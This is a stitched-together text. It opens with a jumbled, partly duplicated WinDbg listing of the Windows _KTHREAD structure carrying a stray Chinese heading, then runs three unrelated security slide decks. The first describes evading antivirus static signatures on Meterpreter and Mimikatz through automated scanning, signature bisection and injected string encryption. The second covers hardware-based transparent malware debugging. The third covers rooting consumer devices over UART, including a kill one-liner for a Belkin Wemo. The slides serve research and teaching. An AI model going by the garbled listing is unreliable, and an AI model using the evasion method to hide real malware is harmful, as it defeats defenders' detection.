+0x5e0 PicoContext     : Ptr64 Void   +0x5e8 UserFsBase       : Uint8B   +0x5f0 UserGsBase       : Uint8B   +0x5f8 EnergyValues     : Ptr64 _THREAD_ENERGY_VALUES kthread:   +0x600 SelectedCpuSets : Uint8B   +0x600 SelectedCpuSetsIndirect : Ptr64 Uint8B   +0x608 Silo             : Ptr64 _EJOB   +0x610 ThreadName       : Ptr64 _UNICODE_STRING   +0x618 SetContextState : Ptr64 _CONTEXT   +0x620 LastExpectedRunTime : Uint4B   +0x624 HeapData         : Uint4B   +0x628 OwnerEntryListHead : _LIST_ENTRY   +0x638 DisownedOwnerEntryListLock : Uint8B   +0x640 DisownedOwnerEntryListHead : _LIST_ENTRY   +0x650 LockEntries     : [6] _KLOCK_ENTRY   +0x890 CmDbgInfo       : Ptr64 Void 0:006> dt nt!_kthread ntdll!_KTHREAD   +0x000 Header           : _DISPATCHER_HEADER   +0x018 SListFaultAddress : Ptr64 Void   +0x020 QuantumTarget   : Uint8B   +0x028 InitialStack     : Ptr64 Void   +0x030 StackLimit       : Ptr64 Void   +0x038 StackBase       : Ptr64 Void   +0x040 ThreadLock       : Uint8B   +0x048 CycleTime       : Uint8B   +0x050 CurrentRunTime   : Uint4B   +0x054 ExpectedRunTime : Uint4B   +0x058 KernelStack     : Ptr64 Void   +0x060 StateSaveArea   : Ptr64 _XSAVE_FORMAT   +0x068 SchedulingGroup : Ptr64 _KSCHEDULING_GROUP   +0x070 WaitRegister     : _KWAIT_STATUS_REGISTER   +0x071 Running         : UChar   +0x072 Alerted         : [2] UChar   +0x074 AutoBoostActive : Pos 0, 1 Bit   +0x074 ReadyTransition : Pos 1, 1 Bit   +0x074 WaitNext         : Pos 2, 1 Bit   +0x074 SystemAffinityActive : Pos 3, 1 Bit   +0x074 Alertable       : Pos 4, 1 Bit   +0x074 UserStackWalkActive : Pos 5, 1 Bit   +0x074 ApcInterruptRequest : Pos 6, 1 Bit   +0x074 QuantumEndMigrate : Pos 7, 1 Bit   +0x074 UmsDirectedSwitchEnable : Pos 8, 1 Bit   +0x074 TimerActive     : Pos 9, 1 Bit   +0x074 SystemThread     : Pos 10, 1 Bit   +0x074 ProcessDetachActive : Pos 11, 1 Bit   +0x074 CalloutActive   : Pos 12, 1 Bit   +0x074 ScbReadyQueue   : Pos 13, 1 Bit   +0x074 ApcQueueable     : Pos 14, 1 Bit   +0x074 ReservedStackInUse : Pos 15, 1 Bit   +0x074 UmsPerformingSyscall : Pos 16, 1 Bit   +0x074 TimerSuspended   : Pos 17, 1 Bit   +0x074 SuspendedWaitMode : Pos 18, 1 Bit   +0x074 SuspendSchedulerApcWait : Pos 19, 1 Bit   +0x074 CetUserShadowStack : Pos 20, 1 Bit   +0x074 BypassProcessFreeze : Pos 21, 1 Bit   +0x074 Reserved         : Pos 22, 10 Bits   +0x074 MiscFlags       : Int4B   +0x078 ThreadFlagsSpare : Pos 0, 2 Bits   +0x078 AutoAlignment   : Pos 2, 1 Bit   +0x078 DisableBoost     : Pos 3, 1 Bit   +0x078 AlertedByThreadId : Pos 4, 1 Bit   +0x078 QuantumDonation : Pos 5, 1 Bit   +0x078 EnableStackSwap : Pos 6, 1 Bit   +0x078 GuiThread       : Pos 7, 1 Bit   +0x078 DisableQuantum   : Pos 8, 1 Bit   +0x078 ChargeOnlySchedulingGroup : Pos 9, 1 Bit   +0x078 DeferPreemption : Pos 10, 1 Bit   +0x078 QueueDeferPreemption : Pos 11, 1 Bit   +0x078 ForceDeferSchedule : Pos 12, 1 Bit   +0x078 SharedReadyQueueAffinity : Pos 13, 1 Bit   +0x078 FreezeCount     : Pos 14, 1 Bit   +0x078 TerminationApcRequest : Pos 15, 1 Bit   +0x078 AutoBoostEntriesExhausted : Pos 16, 1 Bit   +0x078 KernelStackResident : Pos 17, 1 Bit   +0x078 TerminateRequestReason : Pos 18, 2 Bits   +0x078 ProcessStackCountDecremented : Pos 20, 1 Bit   +0x078 RestrictedGuiThread : Pos 21, 1 Bit   +0x078 VpBackingThread : Pos 22, 1 Bit   +0x078 ThreadFlagsSpare2 : Pos 23, 1 Bit   +0x078 EtwStackTraceApcInserted : Pos 24, 8 Bits   +0x078 ThreadFlags     : Int4B   +0x07c Tag             : UChar   +0x07d SystemHeteroCpuPolicy : UChar   +0x07e UserHeteroCpuPolicy : Pos 0, 7 Bits   +0x07e ExplicitSystemHeteroCpuPolicy : Pos 7, 1 Bit   +0x07f Spare0           : UChar   +0x080 SystemCallNumber : Uint4B   +0x084 ReadyTime       : Uint4B   +0x088 FirstArgument   : Ptr64 Void   +0x090 TrapFrame       : Ptr64 _KTRAP_FRAME   +0x098 ApcState         : _KAPC_STATE   +0x098 ApcStateFill     : [43] UChar   +0x0c3 Priority         : Char   +0x0c4 UserIdealProcessor : Uint4B   +0x0c8 WaitStatus       : Int8B   +0x0d0 WaitBlockList   : Ptr64 _KWAIT_BLOCK   +0x0d8 WaitListEntry   : _LIST_ENTRY   +0x0d8 SwapListEntry   : _SINGLE_LIST_ENTRY   +0x0e8 Queue           : Ptr64 _DISPATCHER_HEADER   +0x0f0 Teb             : Ptr64 Void   +0x0f8 RelativeTimerBias : Uint8B   +0x100 Timer           : _KTIMER   +0x140 WaitBlock       : [4] _KWAIT_BLOCK   +0x140 WaitBlockFill4   : [20] UChar   +0x154 ContextSwitches : Uint4B   +0x140 WaitBlockFill5   : [68] UChar   +0x184 State           : UChar   +0x185 Spare13         : Char   +0x186 WaitIrql         : UChar   +0x187 WaitMode         : Char   +0x140 WaitBlockFill6   : [116] UChar   +0x1b4 WaitTime         : Uint4B   +0x140 WaitBlockFill7   : [164] UChar   +0x1e4 KernelApcDisable : Int2B   +0x1e6 SpecialApcDisable : Int2B   +0x1e4 CombinedApcDisable : Uint4B   +0x140 WaitBlockFill8   : [40] UChar   +0x168 ThreadCounters   : Ptr64 _KTHREAD_COUNTERS   +0x140 WaitBlockFill9   : [88] UChar   +0x198 XStateSave       : Ptr64 _XSTATE_SAVE   +0x140 WaitBlockFill10 : [136] UChar   +0x1c8 Win32Thread     : Ptr64 Void   +0x140 WaitBlockFill11 : [176] UChar   +0x1f0 Ucb             : Ptr64 _UMS_CONTROL_BLOCK   +0x1f8 Uch             : Ptr64 _KUMS_CONTEXT_HEADER   +0x200 ThreadFlags2     : Int4B   +0x200 BamQosLevel     : Pos 0, 8 Bits   +0x200 ThreadFlags2Reserved : Pos 8, 24 Bits   +0x204 Spare21         : Uint4B   +0x208 QueueListEntry   : _LIST_ENTRY   +0x218 NextProcessor   : Uint4B   +0x218 NextProcessorNumber : Pos 0, 31 Bits   +0x218 SharedReadyQueue : Pos 31, 1 Bit   +0x21c QueuePriority   : Int4B   +0x220 Process         : Ptr64 _KPROCESS   +0x228 UserAffinity     : _GROUP_AFFINITY   +0x228 UserAffinityFill : [10] UChar   +0x232 PreviousMode     : Char   +0x233 BasePriority     : Char   +0x234 PriorityDecrement : Char   +0x234 ForegroundBoost : Pos 0, 4 Bits   +0x234 UnusualBoost     : Pos 4, 4 Bits   +0x235 Preempted       : UChar   +0x236 AdjustReason     : UChar   +0x237 AdjustIncrement : Char   +0x238 AffinityVersion : Uint8B   +0x240 Affinity         : _GROUP_AFFINITY   +0x240 AffinityFill     : [10] UChar   +0x24a ApcStateIndex   : UChar   +0x24b WaitBlockCount   : UChar   +0x24c IdealProcessor   : Uint4B   +0x250 NpxState         : Uint8B   +0x258 SavedApcState   : _KAPC_STATE   +0x258 SavedApcStateFill : [43] UChar   +0x283 WaitReason       : UChar   +0x284 SuspendCount     : Char   +0x285 Saturation       : Char   +0x286 SListFaultCount : Uint2B   +0x288 SchedulerApc     : _KAPC   +0x288 SchedulerApcFill0 : [1] UChar   +0x289 ResourceIndex   : UChar   +0x288 SchedulerApcFill1 : [3] UChar   +0x28b QuantumReset     : UChar   +0x288 SchedulerApcFill2 : [4] UChar   +0x28c KernelTime       : Uint4B   +0x288 SchedulerApcFill3 : [64] UChar   +0x2c8 WaitPrcb         : Ptr64 _KPRCB   +0x288 SchedulerApcFill4 : [72] UChar   +0x2d0 LegoData         : Ptr64 Void 查看TEB:   +0x288 SchedulerApcFill5 : [83] UChar   +0x2db CallbackNestingLevel : UChar   +0x2dc UserTime         : Uint4B   +0x2e0 SuspendEvent     : _KEVENT   +0x2f8 ThreadListEntry : _LIST_ENTRY   +0x308 MutantListHead   : _LIST_ENTRY   +0x318 AbEntrySummary   : UChar   +0x319 AbWaitEntryCount : UChar   +0x31a AbAllocationRegionCount : UChar   +0x31b SystemPriority   : Char   +0x31c SecureThreadCookie : Uint4B   +0x320 LockEntries     : Ptr64 _KLOCK_ENTRY   +0x328 PropagateBoostsEntry : _SINGLE_LIST_ENTRY   +0x330 IoSelfBoostsEntry : _SINGLE_LIST_ENTRY   +0x338 PriorityFloorCounts : [16] UChar   +0x348 PriorityFloorCountsReserved : [16] UChar   +0x358 PriorityFloorSummary : Uint4B   +0x35c AbCompletedIoBoostCount : Int4B   +0x360 AbCompletedIoQoSBoostCount : Int4B   +0x364 KeReferenceCount : Int2B   +0x366 AbOrphanedEntrySummary : UChar   +0x367 AbOwnedEntryCount : UChar   +0x368 ForegroundLossTime : Uint4B   +0x370 GlobalForegroundListEntry : _LIST_ENTRY   +0x370 ForegroundDpcStackListEntry : _SINGLE_LIST_ENTRY   +0x378 InGlobalForegroundList : Uint8B   +0x380 ReadOperationCount : Int8B   +0x388 WriteOperationCount : Int8B   +0x390 OtherOperationCount : Int8B   +0x398 ReadTransferCount : Int8B   +0x3a0 WriteTransferCount : Int8B   +0x3a8 OtherTransferCount : Int8B   +0x3b0 QueuedScb       : Ptr64 _KSCB   +0x3b8 ThreadTimerDelay : Uint4B   +0x3bc ThreadFlags3     : Int4B   +0x3bc ThreadFlags3Reserved : Pos 0, 8 Bits   +0x3bc PpmPolicy       : Pos 8, 2 Bits   +0x3bc ThreadFlags3Reserved2 : Pos 10, 22 Bits   +0x3c0 TracingPrivate   : [1] Uint8B   +0x3c8 SchedulerAssist : Ptr64 Void   +0x3d0 AbWaitObject     : Ptr64 Void   +0x3d8 ReservedPreviousReadyTimeValue : Uint4B   +0x3e0 KernelWaitTime   : Uint8B   +0x3e8 UserWaitTime     : Uint8B   +0x3f0 GlobalUpdateVpThreadPriorityListEntry : _LIST_ENTRY   +0x3f0 UpdateVpThreadPriorityDpcStackListEntry : _SINGLE_LIST_ENTRY   +0x3f8 InGlobalUpdateVpThreadPriorityList : Uint8B   +0x400 SchedulerAssistPriorityFloor : Int4B   +0x404 Spare28         : Uint4B   +0x408 EndPadding       : [5] Uint8B
pdf
Defeating static signatures in blackbox antivirus engines Insomni’hack 2022 Vladimir Meier # whoami #Security researcher @ SCRT #Working on antivirus software since 2015 #Author of https://github.com/scrt/avcleaner #https://blog.scrt.ch «Antivirus Bypass» category 1 / 52 Contents #Demo #13 reasons why antivirus bypass research #Antivirus detection mechanisms #Extracting signatures #Demos: Meterpreter + kiwi vs Windows Defender #Limitations & future work 2 / 52 Demo #https://github.com/scrt/avdebugger #~ 3000 python LoC #Powered by radare2/rizin, lief and keystone #Application: # Meterpreter’s main DLL is detected by Windows Defender # Antivirus’ verdict is SLFPER:Win32/Meterpreter!ApiRetrieval # You have 4 hours 3 / 52 13 reasons why antivirus bypass research #Security software from a pentester’s perspective #False sense of security #Really legit use case, I swear! 4 / 52 Security software vs pentesters AD Meterpreter Pwnable servers / workstations Trigger the AV == game over 5 / 52 13 reasons why antivirus bypass research #Security software from a pentester’s perspective #False sense of security #Really legit use case, I swear! 6 / 52 Why: overpromoted IT security guy 7 / 52 13 reasons why #Security software from a pentester’s perspective #False sense of security #Really legit use case # Company X sells a software # 39 different antivirus flag it as malware, every new release. # Company X actually worried its own product contains a virus. 8 / 52 13 reasons why #Really legit use case # Company X sells a software # 39 different antivirus flag it as malware, every new release. # Company X actually worried its own product contains a virus. #Obviously a false positive, but: # How do you prove it? # How do you fix it? => Call ghosbusters SCRT 9 / 52 Antivirus detection pipeline 10 / 52 Antivirus detection pipeline: bypass 11 / 52 Extracting signatures: Main steps #Scan automation #Mutations / search algorithms # Prior works # Improvements #Binary patching #Filtering results #Encrypting strings directly in the binary 12 / 52 Antivirus scan automation #Why # CI/CD pipeline # …or applying mutations until the sample comes out clean => need to scan every sample #How # VirusTotal? # Build your own 13 / 52 Taviso’s loadlibrary 14 / 52 Taviso’s loadlibrary #Windows Defender’s scan engine is mpclient.dll #”loadlibrary” is able to run it #Perfect for automation 15 / 52 Problem: other antivirus engines #A bit more complicated… #Antivirus with / without command line interface #Some only run on Windows 16 / 52 Scan automation: VMWare’s vmrun $ vmrun –h vmrun version 1.17.0 build-17964953 Usage: vmrun [AUTHENTICATION-FLAGS] COMMAND [PARAMETERS] AUTHENTICATION-FLAGS -------------------- These must appear before the command and any command parameters. -T <hostType> (ws|fusion) -vp <password for encrypted virtual machine> -gu <userName in guest OS> -gp <password in guest OS> Example commands: CMD PARAMETERS DESCRIPTION -------------- ---------- ----------- start Path to vmx file Start a VM 17 / 52 Scan automation: VMWare’s vmrun $ vmrun –h Command Use case CopyFileFromHostToGuest Upload the sample to the VM runProgramInGuest Invoke a scan and get the result 18 / 52 Scan automation: VMWare’s vmrun $ vmrun –h vmrun -T ws -gu <user> -gp <password> runProgramInGuest kasp.vmx 'C:\\Program Files (x86)\\Kaspersky Lab\\Kaspersky Anti-Virus 21.3\\avp.exe' SCAN a.exe Complete example vmrun command Path to .vmx Command line agent arguments Command Use case CopyFileFromHostToGuest Upload the sample to the VM runProgramInGuest Invoke a scan and get the result 19 / 52 Scan automation: VMWare’s vmrun $ vmrun –h Windows-only AV with no command line agent (Avast, DeepInstinct…) Command Use case CopyFileFromHostToGuest Upload the sample to the VM fileExistsInGuest Some AV scan files when they’re written to disk. runProgramInGuest Execute the sample. Some AV only scan files upon execution. fileExistsInGuest Re-check if the file is deleted. If yes, sample is a malware. 20 / 52 Extracting signatures: Main steps #Scan automation #Mutations / search algorithms # Prior works # Improvements #Binary patching #Filtering results #Encrypting strings directly in the binary 21 / 52 The needle and the haystack $ ls -lh ext_server_kiwi.x64.dll -rwxr-xr-x 1 vladimir staff 994K Mar 21 15:45 ext_server_kiwi.x64.dll #Public projects # Dsplit (2006) # DefenderCheck.exe (April, 2019) Which parts are seen as malicious by the AV? Idea: split a binary into smaller parts to see which one triggers the AV 22 / 52 Problems and solutions #Problem # Splitting an executable into chunks # Corrupted Portable Executable structure # Granularity (more on that later) #Solution # PE format-aware targeted mutations 23 / 52 PE format 101 Your code Your global variables Your constants (e.g strings) Embedded resources (icons, files to be dropped, etc) 24 / 52 All kinds of mutations #If you were a lazy engineer implementing an antivirus, what would you do? # Search sequences of bytes # Search strings 25 / 52 All kinds of mutations #If you were a lazy engineer implementing an antivirus, what would you do? # Search sequences of bytes # Search strings #Where would you do it? 26 / 52 All kinds of mutations #Where would you do it? What Where Sequence of bytes to find hashes / inlined constants .text section Sequence of bytes to find (big) shellcodes .data section Strings .rdata section Embeddeds files with known hashes .rsrc section 27 / 52 All kinds of mutations #Is it that simple? 28 / 52 Hypothetize and verify #Demo 29 / 52 gem fetch metasploit-payloads gem unpack metasploit-payloads ls -lht metasploit-payloads-2.0.66/data/meterpreter/ -rw-r--r-- 1 vladimir wheel 199K Mar 23 20:19 screenshot.x86.dll -rw-r--r-- 1 vladimir wheel 199K Mar 23 20:19 screenshot.x64.dll -rw-r--r-- 1 vladimir wheel 170K Mar 23 20:19 metsrv.x86.dll -rw-r--r-- 1 vladimir wheel 195K Mar 23 20:19 metsrv.x64.dll -rw-r--r-- 1 vladimir wheel 364K Mar 23 20:19 ext_server_stdapi.x86.dll -rw-r--r-- 1 vladimir wheel 400K Mar 23 20:19 ext_server_stdapi.x64.dll -rw-r--r-- 1 vladimir wheel 106K Mar 23 20:19 ext_server_priv.x86.dll -rw-r--r-- 1 vladimir wheel 127K Mar 23 20:19 ext_server_priv.x64.dll -rw-r--r-- 1 vladimir wheel 1.1M Mar 23 20:19 ext_server_kiwi.x86.dll -rw-r--r-- 1 vladimir wheel 1.4M Mar 23 20:19 ext_server_kiwi.x64.dll … Fantastic signatures and where to find them #Signatures can target sequences of bytes of arbitrary lengths #Sequences of bytes can have “malicious” or “benign” scores #How to find those with the highest score? 30 / 52 Divide and conquer search algorithm 101 31 / 52 Divide and conquer search algorithm 101 Why? 32 / 52 Divide and conquer 1. Split the sample 2. Fill one half with random junk 3. Antivirus scan Malware detected? The half with junk contains no signatures, the other does however The half with junk contains the signatures. yes no Repeat with the “bad” half 33 / 52 Granularity #We can do better than splitting and scanning things #“Know your data” What Where Granularity Identification Sequence of bytes to find shellcodes .text section Functions Radare2 / rizin disassembler Sequence of bytes to find (big) shellcodes .data section Global variables Custom algo Strings .rdata section …Strings Radare2 / rizin Embeddeds files with known hashes .rsrc section Resources Doesn’t matter 34 / 52 Example with strings #Mimikatz contains ~5 thousands strings #5-100 characters per strings -> good granularity #Divide and conquer # Divide the 5k strings into 2 clusters # Replace every string in cluster 1 with random data of equal size # Cluster 2 is left intact # Patch the sample with these modifications # Antivirus scan to find which cluster contains “bad” strings. # Repeat, until you have 2 clusters with 1 string each. 35 / 52 Example with strings #Demo #Proof 36 / 52 Validation Reverse-engineering of Defender’s signatures database by @commial and Romain Melchiorre (SCRT) 37 / 52 Granularity: global variables #What if there is a signature in the .data section? # Hard for the human eye and / or intuition to recognize raw binary #Solution: recover global variables # Use radare2 / rizin to find cross-references in .data section # The length of the variable is determined by the next XREF location. # Divide and conquer # Once you know which variable, use its XREF to understand what it is. 38 / 52 Global variables recovery • pipe.cmdj: run r2 cmd and parse JSON • axj: enum xrefs as JSON 39 / 52 Global variables #Is that really necessary? #Enter "SLFPER:Win32/Meterpreter!ApiRetrieval” #Present in the .data section of metsrv.x64.dll #Showtime 40 / 52 Filtering results #When all else fails # -> chunks #But chunks may: # overlap # envelop # intersect 41 / 52 Filtering results #Solution # Interval trees 42 / 52 img src: https://en.wikipedia.org/wiki/Interval_tree Bonus: Automated binary patching 43 / 52 Automated binary patching #Can we encrypt strings in a binary without breaking anything? 44 / 52 Fun with LIEF, radare2 and keystone 1. Inject a function that takes a string as input and decrypts it 2. Enumerate strings 3. Enumerate xrefs to each string 4. Patch the xref to hijack execution flow 5. Redirect into a switch table that 1. Saves original instruction pointer into a RSI 2. Set registers (string address, string size) 3. Call decryption function 4. Jump to RSI 45 / 52 Hooking with radare2 46 / 52 Hook content • Built each time for each string • Dynamically assembled with Keystone • Merged at the end of the switch table 47 / 52 Inject a decryption function 1. Don’t want to program in assembly, so I write a C function that encrypts stuff 2. Build binary with –fpie 3. Copy the function’s code with LIEF into the other binary. 48 / 52 Inject a decryption function r2.cmdj(“aflj”): enum functions as JSON LIEF: get_content_from_virtual_address 49 / 52 Inject a decryption function 1. Don’t want to program in assembly, so I write a C function that encrypts stuff 2. Build binary with –fpie 3. Copy the function’s code with LIEF into the other binary. Totally neat and legit :p Simple code injection: 50 / 52 Limitations & Future work #Not for script kiddies :p #.text section: divide and conquer with functions boundaries #Optimization: only analyze strings present in source code #Divide and conquer with differential builds 51 / 52 Conclusion 52 / 52 Windows Defender scan engine
pdf
Transparent Malware Debugging on x86 and ARM Zhenyu Ning and Fengwei Zhang COMPASS Lab Wayne State University April 27, 2018 1 Outline I Introduction I Background I Towards Transparent Malware Analysis I MalT on x86 Architecture I Ninja on ARM Architecture I Conclusions 2 Outline I Introduction I Background I Towards Transparent Malware Analysis I MalT on x86 Architecture I Ninja on ARM Architecture I Conclusions 3 Transparency What is transparent malware analysis? 4 Transparency What is transparent malware analysis? I Analyzing the malware without being aware. I “Transparent” means that the malware cannot detect it. 5 Transparency Why transparency is important? 6 Evasive Malware Computer System Application Malware 7 Evasive Malware Computer System Application Malware Analyzer 8 Evasive Malware Computer System Application Application Analyzer 9 Malware Analysis What is the current state of malware analysis systems? 10 Malware Analysis Application Operating System Hypervisor/Emulator App App Malware 11 Malware Analysis Application Operating System Hypervisor/Emulator App App Malware Malware Analyzer 12 Malware Analysis Application Operating System Hypervisor/Emulator App App Malware Malware Analyzer I Unarmed to anti-virtualization or anti-emulation techniques. I Large performance overhead. 13 Malware Analysis Application Operating System Hypervisor/Emulator App App Malware Malware Analyzer 14 Malware Analysis Application Operating System Hypervisor/Emulator App App Malware Malware Analyzer I Unable to handle malware with high privilege (e.g. rootkits). 15 Transparency Requirements What makes a transparent malware analysis system? 16 Transparency Requirements I An Environment that provides the access to the states of the target malware. I An Analyzer which is responsible for the further analysis of the states. 17 Transparency Requirements I An Environment that provides the access to the states of the target malware. I It is isolated from the target malware. I It exists on an o↵-the-shelf (OTS) bare-metal platform. I An Analyzer which is responsible for the further analysis of the states. 18 Transparency Requirements I An Environment that provides the access to the states of the target malware. I It is isolated from the target malware. I It exists on an o↵-the-shelf (OTS) bare-metal platform. I An Analyzer which is responsible for the further analysis of the states. I It should not leave any detectable footprints to the outside of the environment. 19 Outline I Introduction I Background I Towards Transparent Malware Analysis I MalT on x86 Architecture I Ninja on ARM Architecture I Conclusions 20 System Management Mode System Management Mode (SMM) [1] is special CPU mode existing in x86 architecture, and it can be used as a hardware isolated execution environment. I Originally designed for implementing system functions (e.g., power management) I Isolated System Management RAM (SMRAM) that is inaccessible from OS I Only way to enter SMM is to trigger a System Management Interrupt (SMI) I Executing RSM instruction to resume OS (Protected Mode) 21 TrustZone Technology ARM TrustZone technology [2] divides the execution environment into a secure domain and a non-secure domain. I The RAM is partitioned to secure and non-secure regions. I The interrupts are assigned into the secure or non-secure group. I Secure-sensitive registers can only be accessed in secure domain. I Hardware peripherals can be configured as secure access only. 22 PMU and ETM I The Performance Monitor Unit (PMU) [3, 4] leverages a set of performance counter registers to count the occurrence of di↵erent CPU events. I The Embedded Trace Macrocell (ETM) [5] traces the instructions and data of the system, and output the trace stream into pre-allocated bu↵ers on the chip. I The PMU exists in both x86 and ARM architecture while the ETM is ARM special hardware. 23 Outline I Introduction I Background I Towards Transparent Malware Analysis I MalT on x86 Architecture [S&P’15] I Ninja on ARM Architecture [USENIX Security’17] I Conclusions 24 Towards Transparent Malware Analysis Application Operating System Hypervisor/Emulator Hardware App App Malware MalT on x86 Ninja on ARM 25 MalT on x86 Architecture Debugging Client GDB-like Debugger Debugging Server SMI handler Debugged application 1) Trigger SMI 2) Debug command 3) Response message Inspect application Breakpoint 26 MalT — Performance I Testbed Specification I Motherboard: ASUS M2V-MX SE I CPU: 2.2GHz AMD LE-1250 I Chipset: AMD k8 Northbridge + VIA VT 8237r Southbridge I BIOS: Coreboot + SeaBIOS 27 MalT — Performance Table: SMM Switching and Resume (Time: µs) Operations Mean STD 95% CI SMM switching 3.29 0.08 [3.27, 3.32] Command and BP checking 2.19 0.09 [2.15, 2.22] Next SMI configuration 1.66 0.06 [1.64, 1.69] SMM resume 4.58 0.10 [4.55, 4.61] Total 11.72 28 MalT — Limitation I High performance overhead on mode switch. I Unprotected modified registers. I Vulnerable to external timing attack. 29 Ninja on ARM Architecture Non-secure Domain Rich OS App App Malware Secure Domain Secure Interrupt Handler Trace Subsystem Debug Subsystem Remote Debugging Client Secure Interrupt Secure Port ERET 30 Ninja on ARM Architecture I Use TrustZone as the isolated execution environment. I The debug subsystem is similar to MalT while the trace subsystem is immune to timing attacks. I Modified registers are protected via hardware traps. 31 Ninja — Performance I Testbed Specification I ARM Juno v1 development board I A dual-core 800 MHZ Cortex-A57 cluster and a quad-core 700 MHZ Cortex-A53 cluster I ARM Trusted Firmware (ATF) [6] v1.1 and Android 5.1.1 32 Ninja — Performance Table: Performance Scores Evaluated by CF-Bench [7] Native Scores Java Scores Overall Scores Mean Slowdown Mean Slowdown Mean Slowdown Tracing Disabled 25380 18758 21407 Instruction Tracing 25364 1x 18673 1x 21349 1x System call Tracing 25360 1x 18664 1x 21342 1x Instruction Tracing 6452 4x 122 154x 2654 8x 33 Ninja — Performance Table: Time consumption of domain switching (Time: µs) ATF Enabled Ninja Enabled Mean STD 95% CI ⇥ ⇥ 0.007 0.000 [0.007, 0.007] X ⇥ 0.202 0.013 [0.197, 0.207] X X 0.342 0.021 [0.334, 0.349] 34 Ninja — Limitation I OS-related tracing requires software-based approach to fill semantic gaps, which involves performance overhead. I Malware may intentionally enable the ETM or PMU to detect the analysis system. I Hardware traps can only protect the system instruction access to the registers. 35 Outline I Introduction I Background I Towards Transparent Malware Analysis I MalT on x86 Architecture I Ninja on ARM Architecture I Conclusions 36 Conclusions I We present MalT and Ninja, malware analysis systems in x86 and ARM architectures aiming for higher transparency. I We consider the hardware-based approach provides better transparency than software-based approaches. I To build a fully transparent malware analysis system, we are seeking for more hardware support. 37 Related Papers USENIX Security’17 Zhenyu Ning and Fengwei Zhang. Ninja: Towards Transparent Tracing and Debugging on ARM. In Proceedings of The 26th USENIX Security Symposium, Vancouver, BC, Canada, August 2017. S&P’15 Fengwei Zhang, Kevin Leach, Angelos Stavrou, and Haining Wang. Using Hardware Features for Increased Debugging Transparency. In Proceedings of The 36th IEEE Symposium on Security and Privacy, San Jose, CA, May 2015. 38 References I [1] Intel, “64 and IA-32 architectures software developer’s manual: Volume 3C,” https://software.intel.com/sites/default/files/managed/a4/60/325384-sdm-vol-3abcd.pdf. [2] ARM Ltd., “TrustZone Security Whitepaper,” http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.prd29-genc-009492c/index.html. [3] ——, “ARMv8-A Reference Manual,” http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0487a.k/index.html. [4] Intel, “64 and IA-32 architectures software developer’s manual: Volume 3B,” https://software.intel.com/sites/default/files/managed/a4/60/325384-sdm-vol-3abcd.pdf. [5] ARM Ltd., “Embedded Trace Macrocell Architecture Specification,” http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ihi0014q/index.html. [6] ——, “ARM Trusted Firmware,” https://github.com/ARM-software/arm-trusted-firmware. [7] Chainfire, “CF-Bench,” https://play.google.com/store/apps/details?id=eu.chainfire.cfbench. 39 Thank you! Questions? zhenyu.ning@wayne.edu & fengwei@wayne.edu http://compass.cs.wayne.edu 40 Hardware Traps ....... MRS X0, PMCR EL0 MOV X1, #1 AND X0, X0, X1 ...... Non-secure Domain 41 Hardware Traps ....... MRS X0, PMCR EL0 MOV X1, #1 AND X0, X0, X1 ...... Non-secure Domain Analyzing the instruction Secure Domain MDCR EL3.TPM=1 42 Hardware Traps ....... MRS X0, PMCR EL0 MOV X1, #1 AND X0, X0, X1 ...... Non-secure Domain Analyzing the instruction MOV X0, #0x41013000 Secure Domain MDCR EL3.TPM=1 43 Hardware Traps ....... MRS X0, PMCR EL0 MOV X1, #1 AND X0, X0, X1 ...... Non-secure Domain Analyzing the instruction MOV X0, #0x41013000 Modifying saved ELR EL3 Secure Domain MDCR EL3.TPM=1 44 Hardware Traps ....... MRS X0, PMCR EL0 MOV X1, #1 AND X0, X0, X1 ...... Non-secure Domain Analyzing the instruction MOV X0, #0x41013000 Modifying saved ELR EL3 ERET Secure Domain MDCR EL3.TPM=1 45
pdf
A"GTVHACKER"PRODUCTION" GTVHACKER"PRESENTS: GTVHacker" •  Formed'to'root'the'original' Google'TV'in'2010' •  Released'exploits'for'every' Google'TV'device' •  Plus'some'others:' Chromecast,'Roku,'Nest' •  Many'more'to'come!'' Speaking"Members" Amir"Etemadieh"(@Zenofex)"–'Research'ScienHst'at'Accuvant' LABS,'founded'GTVHacker'" " CJ"Heres"(@"cj_000)"–'Security'Researcher'/'Group'Head,' Technology'Development'[somewhere]'' ' Hans"Nielsen"(AgentHH)"–'Senior'Security'Consultant'at' Matasano'' ' Mike"Baker"([mbm])"–'Firmware'developer,'OpenWRT'coT founder' Other"Members" gynophage"–"He's'(again)'running'a'liXle'thing'called'the' DEFCON'CTF'right'now'' ' Jay"Freeman"(saurik)"–"Creator'of'Cydia'' ' Khoa"Hoang"(maximus64)"–"" ' ' Tom"Dwenger"(tdweng)"–'Excellent'with'APK'reversing'and' anything'Java'' Why"Hack"ALL"The"Things?" •  We'own'the'hardware,'why' not'the'so\ware?'' •  Give'new'life'to'abandoned' hardware'' •  Make'the'product'beXer' •  We'enjoy'the'challenge'' Takeaways" •  You'get'a'root!' •  You'get'a'root!' •  You'get'a'root!' •  Everybody'gets'a' root!' Learning'is'awesome,'but'this'presentaHon'is'about'the' Avenues"Of"A]ack" UART" • 'Interacts'with'debug'ports'on' board.' • 'One'wire'for'transmit'(TX),'one' wire'for'receive'(RX),'one'wire'for' ground' • 'Work'at'different'voltage'levels,' for'example:'1.8V,'3.3V,'5V' • 'Free'UART'adapters'at'the'end!' Universal"Asynchronous"Receiver/Transmi]er" Epson Artisan 700/800 (Printer) ARM' Linux'2.6.21Tarm1' Device' 1' ' Networked all-in- one photo printer / scanner' Epson Artisan 700/800 (Printer) Device' 1' Epson Artisan 700/800 (Printer)
 UART Device' 1' •  BooHng'with' UART'connected' drops'to'special' console.' •  Console'has'root' command' execuHon'as'a' feature' Belkin Wemo Device' 2' ' Internet Controlled Wall Plug Multiple exploits in the past year Belkin Wemo Device' 2' ' Belkin Wemo • UART'was'patched,'according'to'the' Internet.'Not'enHrely'true!' • SHll'accepts'commands'for'two'seconds'in' recovery.' • Run'this'command'at'the'right'moment:' kill$%9$$(ps$|$grep$'reboot'|sed$%r$%e$'s/^$ ([0%9]+)$[0%9]+/\1/’)$ Device' 2' ' Greenwave Reality Smart Bulbs •  PowerPC'Embedded' Device' •  SSH'server'on'startup,' password'was'unknown.' Device' 3' •  "Smart" lighting system •  Gateway plugs in and uses RF to communicate with bulbs •  Phillips Hue Competitor Greenwave Reality Smart Bulbs
